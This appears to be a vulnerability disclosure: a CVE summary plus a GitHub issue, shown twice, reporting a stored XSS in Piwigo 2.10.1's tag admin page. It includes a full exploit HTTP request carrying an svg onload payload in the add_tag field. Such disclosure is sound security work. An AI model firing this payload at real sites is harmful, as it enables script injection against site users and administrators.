A stored cross site scripting (XSS) vulnerability in /admin.php?page=tags of Piwigo 2.10.1 allows attackers to execute arbitrary web scripts or HTML.
Hi team, 

I just found a stored XSS in `admin.php?page=tags`.

Exploit Request :
```
POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags
Cookie: pwg_id=kikufgh78rp553s266q6r0sj62
Upgrade-Insecure-Requests: 1

pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit
```

PoC:
![](https://i.imgur.com/cEyHOyq.png)
Stored Cross Site Scripting in /admin.php?page=tags
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : Stored Cross Site Scripting in /admin.php?page=tags
Issue date:

--- start body ---
Hi team, 

I just found a stored XSS in `admin.php?page=tags`.

Exploit Request :
```
POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags
Cookie: pwg_id=kikufgh78rp553s266q6r0sj62
Upgrade-Insecure-Requests: 1

pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit
```

PoC:
![](https://i.imgur.com/cEyHOyq.png)
--- end body ---
